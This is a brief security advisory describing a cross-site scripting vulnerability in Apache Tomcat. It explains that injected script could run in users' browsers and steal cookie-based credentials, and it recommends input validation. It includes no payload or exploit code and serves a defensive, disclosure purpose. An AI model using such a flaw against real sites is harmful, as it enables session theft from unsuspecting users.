Apache Tomcat Cross-Site Scripting Vulnerability

Apache Tomcat is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to generate a response containing malicious content.
